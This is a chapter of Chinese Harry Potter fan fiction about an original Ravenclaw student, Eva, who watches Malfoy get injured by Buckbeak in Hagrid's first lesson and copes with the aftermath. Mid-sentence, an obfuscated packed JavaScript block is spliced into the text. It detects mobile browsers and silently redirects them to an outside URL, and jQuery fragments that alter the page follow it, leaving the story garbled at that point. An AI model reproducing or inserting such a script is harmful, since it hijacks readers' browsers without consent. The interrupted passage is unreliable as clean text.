周一的魔药课后，地窖里弥漫着药渣和失败药水的刺鼻气味。学生们匆匆清理着自己的操作台，坩埚碰撞声和流水声混杂在一起。Eva仔细将最后一滴污渍清除，将工具归位后，从书包里取出那卷写好的羊皮纸——《论魔力枯竭状态下基础药剂熬制的必然失败——以今日课堂为例》。


    斯内普教授站在讲台后，正在翻看一份厚厚的名册。


    “教授。”


    斯内普没有抬头，继续翻了一页名册，才缓缓抬起眼皮。黑眼睛在昏黄的火把光下扫过她手中的羊皮纸。


    “放在那儿。”声音平淡无波。


    Eva将羊皮纸放在讲台角落的作业堆上，纸张边缘与另一份对齐。


    “你去见了庞弗雷夫人。”这不是疑问，是陈述。斯内普的嘴角向下撇出一个惯有的弧度，“显然，你认为她的专业意见比课堂参考资料更有价值。”


    Eva保持沉默。她确实去找了庞弗雷夫人——不仅仅是因为需要确切数据，更因为这是最直接的途径。拉文克劳式的效率。


    “恢复进度？”


    “基础魔力循环稳定，但深层恢复缓慢。建议避免高强度魔法实践。”


    斯内普发出一声几不可闻的冷哼。“既然如此，”他的目光移回她脸上，“在你能稳定施展一个像样的盔甲护身咒之前，我不希望再在我的课堂上看到任何……因个人能力不足导致的意外。拉文克劳的学院分，”顿了顿，声音压得更低，“不应该因为某个学生的特殊状况而被挥霍。”


    “是，教授。”


    “你可以走了。”


    Eva转身离开，能感觉到背后那道目光一直钉在背脊上，直到她走出地窖。


    周四下午的雨下得人心惶惶。


    保护神奇生物课已经是本学期第三次了——前两堂课，海格介绍的是护树罗锅和蒲绒绒。护树罗锅害羞地躲在树枝间，需要喂食土鳖才能哄出来；蒲绒绒则是一团团毛球，除了吃蜘蛛和发出呼噜声外毫无威胁。两堂课都平淡得让某些学生打哈欠，也让某些学生(尤其是斯莱特林那边)露出了毫不掩饰的轻蔑。


    城堡的走廊终日回荡着靴子踩在湿滑石板上发出的啪嗒声，火把的光芒在潮湿的空气里显得格外昏黄，照不亮墙角堆积的阴影。庭院里，雨水汇成细小的溪流，顺着鹅卵石的缝隙流向低处，黑湖水面被砸出密密麻麻的涟漪，望过去白茫茫一片，连对岸的禁林都模糊成了团墨绿。


    在这样的天气里，保护神奇生物课成了最不受欢迎的课程——至少对一部分学生来说如此。


    Eva走在拉文克劳的队伍中间，深蓝色的防水斗篷帽檐拉得很低。雨水顺着厚重布料滑落，在脚边溅起细小的泥点。她特意选了底部厚实、边缘加固的龙皮靴子——妈妈暑假采购时坚持要买的，“苏格兰的天气，实用的装备比什么都重要”。此刻靴子陷在泥里，每一步都需要用力拔出，发出沉闷的“噗嗤”声。


    “我新买的龙皮靴子！”拉文德·布朗在不远处哀号着，她的浅色靴子已经糊满了泥浆。


    西莫·斐尼甘则更关心天气：“要是打雷怎么办？书上说雷雨天在户外进行魔法生物实践是违反安全守则的……”


    “书上还说曼德拉草的哭声能致命呢，”罗恩没好气地说，他的旧靴子已经灌满了泥水，每一步都发出“咕叽”的声响，“可我们还不是得给它们换盆。”


    哈利走在他们前面，绿眼睛警惕地扫视着四周。不是因为天气，而是因为那些巡逻的摄魂怪——它们依旧在城堡外围的空中缓缓飘荡，像一团团会移动的灰雾，所过之处连雨丝都似乎变得更冷了。每次看到它们，他额头的疤痕就会隐隐作痛，像有根细针在皮肤下轻轻拨动。


    Eva也看到了那些灰影。腕间的玉佩传来一丝极其微弱的温意，比平时更淡，像是在沉睡中本能地警觉。她将戴着玉佩的手腕往袖子里缩了缩。体内的“炁”依旧沉寂如古井，但这份微弱的预警提醒着她：那些东西的存在本身，就是对生命温暖的侵蚀。


    海格站在小屋门口，穿着那件巨大的鼹鼠皮大衣，怀里抱着一捆用油布裹着的东西。看见学生们走近，他黝黑的脸上露出热情的笑容，但那双甲壳虫似的黑眼睛里闪烁着不安——这是他的第一堂正式课，压力大得让他说话都结巴了。


    “好、好了，同学们！跟、跟我来！”他粗声喊道，转身走向小屋后方的围场。


    围场比想象中大得多，用高高的篱笆围着，里面有几棵光秃秃的树和一个积满了雨水的大坑。地面泥泞不堪，混杂着某种大型动物的蹄印。


    “今、今天我们要认识的是——鹰头马身有翼兽！”海格的声音因为激动而颤抖，他解开油布，露出里面的东西——不是活物，而是一大块生肉，血淋淋的，在雨中散发出浓重的腥气。


    学生们发出一片低低的惊呼和吸气声。几个赫奇帕奇女生下意识后退，曼蒂紧紧抓住了Eva的袖子。帕德玛的脸色也有些发白，但她努力维持着镇定，小声说：“《神奇动物在哪里》里说它们是XXXX级生物……”


    “鹰头马身有翼兽是骄傲的生物，”海格努力让自己的声音听起来像在课堂上，“非常骄傲。如果你侮辱了它，它可能会攻击你。但如果你尊重它，向它鞠躬，等它回礼，你就可以抚摸它，甚至骑上它飞行！”


    他指向围场深处。在雨幕中，隐约能看到几匹巨大的生物站在那里——马的身体，鹰的头和翅膀，羽毛湿漉漉地贴在身上，眼神锐利如刀。


    Eva仔细打量着那些生物。它们很高大，比她想象中更具威慑力。雨水顺着它们青铜色的羽毛滑落，在昏暗的光线下泛着冷硬的光泽。那双鹰眼黄澄澄的，瞳孔在雨幕中收缩，带着野生动物特有的警惕和评估。她能“感觉”到它们散发出的气息——不是魔法波动，是一种更原始的生命力，混合着骄傲、警觉，以及被圈养在雨中的淡淡烦躁。


    爷爷说过，万物有灵，形异而理通。尊重不是卑躬屈膝，是看清对方的位置，也守住自己的边界。


    “现在，我需要一个志愿者来演示如何正确接近鹰头马身有翼兽。”海格的目光扫过人群，最后落在哈利身上，充满期待，“哈利？你愿意吗？”


    哈利愣了一下。他想起了巴克比克——海格曾经提过这个名字，说那是他最喜欢的一只。而现在，所有人都看着他。罗恩在后面小声说：“别去，哈利，那东西看起来能把人撕碎。”


    但海格的眼神让他无法拒绝——那是混杂着恳求、骄傲和一丝不易察觉的恐惧的眼神。海格需要这堂课成功，需要证明自己。


    “好。”哈利深吸一口气，向前走去。


    就在这时，一个拖长的、带着讥诮的声音从人群边缘响起：


    “哦，伟大的救世主要去驯服野兽了。多么感人。”


    是德拉科·马尔福。他站在斯莱特林学生最前面，穿着一件显然是特制的、带着防水咒的银绿色斗篷，边缘绣着繁复的家族纹饰。雨水顺着他淡金色的头发滑落，苍白的脸上挂着那种惯有的、居高临下的笑容。克拉布和高尔像两座肉山站在他身后，潘西·帕金森则紧紧挽着他的胳膊，脸上是毫不掩饰的厌恶——对她来说，这种泥泞的场地和粗野的生物，简直是酷刑。


    马尔福的目光越过哈利，落在他身后不远处——Eva正安静地站在那里，深蓝色的防水斗篷帽檐拉得很低，只露出小半张苍白的脸。她的目光平静地看着围场里的鹰头马身有翼兽，像是在观察，又像是在思考什么。


    那双平静的眼睛让马尔福心头莫名一躁。他想起了如尼文课上那瓶该死的深蓝色墨水，想起了她书写时那种全然沉浸的姿态，还有更早之前——火车上那点微弱的金光，博格特前那个宏大得令人不安的画面，以及更久远些的、禁林那晚混乱中的强光和被她挡在身后的瞬间。


    “或者，”马尔福的声音拔高了些，灰蓝色的眼睛紧盯着Eva，“让我们的‘特殊贡献奖’得主来？她不是擅长和……各种东西打交道吗？”


    这话意有所指，但Eva没有反应。她只是抬起头，雨水顺着帽檐滴落，黑眼睛在昏暗的光线下平静地回视了他一眼，然后又转向围场，仿佛他的话不过是雨声的一部分。


    这种无视比任何反驳都更让马尔福恼火。他嘴唇抿紧，下颌线绷得像刀锋。


    “好了，马尔福，”海格的声音沉了下来，“如果你不想参与，可以站到后面去。哈利，过来，我给你介绍巴克比克——它是最温顺的一只。”


    哈利走上前，按照海格的指示，向那匹名叫巴克比克的鹰头马身有翼兽深深鞠躬。巴克比克锐利的黄眼睛盯着他看了很久，久到围场里只剩下雨声和海格粗重的呼吸声。然后，它缓缓低下头，也鞠了一躬。


    学生们发出惊叹声。海格激动得声音都在抖：“好样的，哈利！现在，慢慢走过去，轻轻抚摸它的喙……”


    哈利照做了。巴克比克没有反抗，反而发出一种低低的、像是满意的咕噜声。


    “现在，你可以试着骑上去了！”海格的声音充满自豪，“抓紧它脖子后面的羽毛，别拉疼它！”


    哈利爬上巴克比克的背。鹰头马身有翼兽展开巨大的翅膀——每一根羽毛都湿漉漉的，在雨中闪着暗沉的光泽。然后，它助跑几步，猛地腾空而起！


    “梅林啊……”赫敏捂住嘴。


    学生们仰着头，看着哈利骑着巴克比克在雨中盘旋。雨水打在他们脸上，但没人移开视线——那是种混合着恐惧和惊叹的景象。巨大的翅膀扇动带起的气流卷起地上的泥水，鹰头马身有翼兽的嘶鸣在雨中传得很远。


    Eva也仰头看着。从这个角度，能看到巴克比克翅膀肌肉的收缩与舒张，每一次拍打都带着野性的力量。哈利紧紧抓住羽毛，身体伏得很低，随着鹰头马身有翼兽的动作调整重心——他在飞行上确实有天赋。


    她想起爷爷说过的一些关于“御”的道理：不是征服，是顺应。骑乘如此，与万物相处亦如此。哈利此刻的姿势，隐约符合这个道理——他不是在“控制”巴克比克，而是在“跟随”它的节奏。


    几分钟后，巴克比克降落。哈利从它背上滑下来，腿有点软，但脸上是掩不住的兴奋。


    “太棒了，哈利！”海格用力拍他的肩膀，差点把他拍进泥里，“现在，谁想第二个试试？”


    学生们面面相觑。鹰头马身有翼兽看起来确实很酷，但也很吓人。


    “我、我来试试。”一个赫奇帕奇男生——厄尼·麦克米兰鼓起勇气站了出来。他按照海格的指示鞠躬，巴克比克也回礼了。但厄尼的手抖得厉害，在快要碰到喙时又缩了回来，讪讪地退了回去。


    “没关系的！”海格鼓励道，“还有谁？”


    Eva在人群中安静地看着。她其实想试试——不是出于冒险的冲动，而是想近距离感受这种生物的气息，验证爷爷那些关于“万物有灵”的说法在实际中如何应用。但体内那股空乏感让她犹豫。现在的状态，能集中足够的注意力吗？万一失手，不仅自己危险，也会给海格添麻烦。


    就在她权衡时，马尔福推开了潘西的手，向前走了几步。雨水顺着他精致的斗篷滑落，在泥地上溅起细小的水花。


    “让我来。”他的声音清晰，带着一种刻意的从容，“既然波特能做到，那对马尔福来说应该轻而易举。”


    海格皱了皱眉，但没说什么，只是点头：“记住步骤，马尔福。鞠躬，等它回礼，然后慢慢走过去。”


    马尔福走到巴克比克面前。他没有像哈利那样深深地、恭敬地鞠躬，而是微微倾身，动作优雅却敷衍——像在行一个社交场合的礼，而不是对神奇生物的尊重。他灰蓝色的眼睛盯着巴克比克，眼神里没有敬畏，只有评估和一丝不易察觉的……挑衅。


    Eva的眉头几不可察地蹙了一下。这个姿态不对。爷爷说过，与灵物相交，心念在先。马尔福的心念里没有“尊重”，只有“证明”——证明自己不比波特差，证明马尔福天生高人一等。这种念头，敏感的生物能感觉到。


    巴克比克盯着他看了几秒，黄色的瞳孔收缩。然后，它缓缓低下头，也鞠了一躬——但Eva注意到，那个鞠躬的角度比回应哈利时小了些，动作也更僵硬。


    马尔福嘴角勾起一抹笑容，像是验证了什么。他直起身，向前走去，脚步在泥泞中依旧保持着一贯的从容。他伸出手，不是去抚摸巴克比克的喙，而是拍了拍它的脖子——动作很轻，但那姿态像是在拍一匹马，而不是在请求许可。


    “好孩子。”他说，声音里带着惯有的那种居高临下。


    巴克比克的羽毛瞬间竖了起来。


    海格大喊：“马尔福，别——”


    太迟了。


    鹰头马身有翼兽发出一声尖锐的嘶鸣，巨大的翅膀猛地展开，带起的风把周围的雨水都吹散了。然后，它扬起前蹄，锋利的爪子划破空气——


    “啊——！”


    马尔福的尖叫不是装出来的。那一爪子结结实实地划过了他的手臂，银绿色的斗篷瞬间撕裂，鲜红的血涌出来，在雨水中迅速晕开。他踉跄后退，脸上是真实的、无法掩饰的惊恐和痛苦，苍白的嘴唇哆嗦着，灰蓝色的眼睛睁得极大。


    Eva站在几米外，看得清清楚楚。爪子挥下的轨迹，布料撕裂的声音，还有血液喷涌而出时那股浓重的铁锈味——即使隔着雨幕也能闻到。她的呼吸微微一滞，不是恐惧，是一种本能的生理反应。那么深的伤口，那么多血……


    克拉布和高尔笨拙地冲上前想扶他，潘西发出刺耳的尖叫。场面一片混乱。


    海格冲过去，用巨大的身体挡在巴克比克和马尔福之间，粗声安抚着受惊的生物：“没事，巴克比克，没事……冷静下来……”


    庞弗雷夫人十分钟后赶到围场，脸色比天上的乌云还要阴沉。她用魔杖检查了马尔福的伤口——很深，从肩膀一直划到肘部，皮肉外翻，鲜血还在不断渗出。


    “需要立刻去医疗翼处理，”她简短


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002870|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地说，用魔法将马尔福悬浮起来，“海格，下课后到我办公室来一趟。”


    马尔福被带走了。他躺在悬浮的担架上，脸色惨白如纸，眼睛紧闭，但嘴唇还在微微颤抖。经过Eva身边时，他的眼皮颤动了一下，灰蓝色的瞳孔睁开一条缝——里面没有了平时的傲慢或讥诮，只有未散的惊恐和一种深切的、生理性的痛苦。那目光在她脸上停留了极其短暂的一瞬，像是确认她还在这里，还在看着这一切，然后便迅速合上，仿佛那一眼耗尽了最后的力气。


    潘西一路小跑着跟在担架旁边，不停地说着什么，声音带着哭腔。


    剩下的课在一种压抑的气氛中草草结束。海格试图继续讲解，但他的声音失去了之前的热情，变得沉闷而机械。“……所、所以，尊、尊重是关键……”他结结巴巴地说着，眼神不时飘向城堡方向，显然心不在焉。


    学生们早早离开了围场，靴子踩在泥水里发出沉闷的声响，没人说话。


    回城堡的路上，议论声才渐渐响起。


    “我早说了那东西危险……”西莫小声说。


    “是马尔福自己没按规矩来，”赫敏立刻反驳，但声音里也有一丝后怕，“海格说得清清楚楚，必须尊重它们。”


    “可是流血了，”拉文德的声音带着恐惧，“那么多血……你们看到了吗？”


    哈利走在最前面，沉默着。他想起了马尔福伸手拍巴克比克脖子时那种漫不经心的姿态，想起了那双灰蓝色眼睛里一闪而过的挑衅。那不是意外，是傲慢导致的必然。但看到那么多血，看到马尔福脸上真实的恐惧，他心里并没有预想中的快意——只有一种沉甸甸的、说不清的感觉。


    Eva走在人群靠后的位置，帕德玛和曼蒂一左一右陪着她。


    “你还好吗，Eva？”帕德玛轻声问，“你的脸色很苍白。”


    曼蒂也凑过来，压低声音：“刚才……太吓人了。我以为那东西会冲过来攻击所有人。”


    “我没事。”Eva轻声回答，将斗篷裹得更紧了些。体内的那股空乏感因为刚才的紧张而更加明显了，太阳穴一跳一跳地疼。她想起马尔福最后那个眼神——剥离了所有伪装后，最原始的惊恐。那是任何家族、地位都无法保护的脆弱。


    但她很快把这个念头压了下去。这堂课给她最大的警示不是马尔福的受伤，而是海格的处境。第一堂课就出这样的事，还是发生在马尔福家的独子身上……海格可能会面临很大的压力。


    “海格教授会不会有麻烦？”她轻声问帕德玛。


    帕德玛愣了一下，随即皱眉思考：“很有可能。马尔福家……他们不会善罢甘休的。而且这毕竟是教学事故。”


    曼蒂嘟囔道：“可是是马尔福自己不听指挥啊……”


    “规则和现实是两回事。”帕德玛的声音很低，“尤其是在涉及纯血家族的时候。”


    晚餐时，礼堂里的气氛比平时更凝重。


    斯莱特林长桌那边，马尔福的位置空着。潘西·帕金森红肿着眼睛，正激动地和几个斯莱特林女生说着什么，声音时高时低，隐约能听到“危险的野兽”、“海格根本不该当教授”、“德拉科流了那么多血”之类的词。克拉布和高尔埋头猛吃，但动作比平时更笨拙，像是想用食物堵住不安。


    拉文克劳这边，议论也在继续。


    “我听说马尔福的伤很严重，”安东尼·戈德斯坦推了推眼镜，“庞弗雷夫人用了生骨灵和愈合剂，但伤口太深，可能需要好几天才能完全恢复。”


    “他活该，”曼蒂小声说，但语气并不坚定，“海格明明说了要尊重的。”


    “可是……”丽莎犹豫了一下，“看着真的挺吓人的。而且海格教授现在肯定很担心。”


    Eva安静地吃着盘子里的炖菜。热食带来的暖意暂时驱散了体内的寒意，但那种空乏感依旧存在。她小口喝着南瓜汁，目光无意识地扫过教师席——海格不在，大概是去庞弗雷夫人那里了。麦格教授脸色严肃，正低声和邓布利多说着什么。斯内普教授的表情比平时更加阴沉，黑眼睛不时扫向格兰芬多长桌，目光冷得像冰。


    晚餐后，雨还在下。


    Eva和朋友们回到拉文克劳塔楼。公共休息室里炉火很旺，驱散了从袍子缝隙钻进来的湿气。几个学生在壁炉旁下棋，低声交谈着下午的事。青铜鹰门环今晚的问题是：“何物最轻盈，却能承载最沉重的真理？”


    丽莎试着答：“羽毛？”门没动。


    帕德玛沉思片刻：“语言。”


    橡木门无声滑开。


    她们在靠窗的位置坐下，摊开作业。曼蒂还在低声说着下午的事，帕德玛则已经开始写魔法史论文——关于中世纪妖精叛乱的起因分析。


    Eva拿出古代如尼文的作业，继续临摹“Fehu”符号。笔尖划过羊皮纸，发出均匀的沙沙声。那瓶深蓝色墨水在一旁静静立着，瓶身在炉火下泛着幽暗的光泽。


    写了几行，她停下笔，望向窗外。


    雨夜中的霍格沃茨，城堡的灯火在湿漉漉的玻璃上晕开成模糊的光斑。远处，禁林的方向，那点惨绿色的微光依旧在缓缓移动——摄魂怪还在巡逻。每当那光闪烁，她腕间的玉佩就会传来一丝极其微弱的暖意，像是沉睡中的警觉。


    她想起卢平教授的话：“摄魂怪带来的寒冷会让人想要燃烧自己来取暖。”


    但她现在没有东西可以燃烧。体内的那口井依然干涸，需要的是时间，是静养，是像爷爷说的那样“顺其自然”。


    下午的画面又浮现在脑海：爪子划破空气，鲜血在雨中晕开，还有马尔福那双瞬间破碎的眼睛。然后是更早的记忆：密室里的黑暗，医疗翼漫长的昏迷，茶馆老板娘口中那些未尽的牺牲……


    一代人有一代人的战场。


    她的战场在哪里？是在这间温暖的休息室里临摹古老的符号，等待身体慢慢恢复？还是在某个未来的时刻，不得不做出像祖母、像父母那样沉重的选择？


    不知道。


    “Eva？”帕德玛的声音把她拉回现实，“你不舒服吗？你的手在抖。”


    Eva低头，发现自己握着羽毛笔的手指确实在微微颤抖。不是冷，是那种深层的疲惫带来的无力感。


    爷爷说过：“知人者智，自知者明。强行不止，损身伤根。”


    她放下笔，动作很稳，但放下的瞬间指尖几不可察地松了一下。“好。”声音平静，“可能需要请庞弗雷夫人再确认一下恢复进度。”


    曼蒂立刻站起来：“我陪你去！”


    帕德玛也合上书本：“一起。”


    三个女孩离开公共休息室，深蓝色的袍角消失在旋转楼梯下方。窗外的雨还在下，敲打着城堡古老的石头，声声入耳，像这个多事之秋绵长而潮湿的注脚。


    而在医疗翼那端，德拉科·马尔福正盯着天花板，听着雨声，等待着父亲回信的到来——那封信将会像另一只爪子，以不同的方式，撕裂一些别的东西。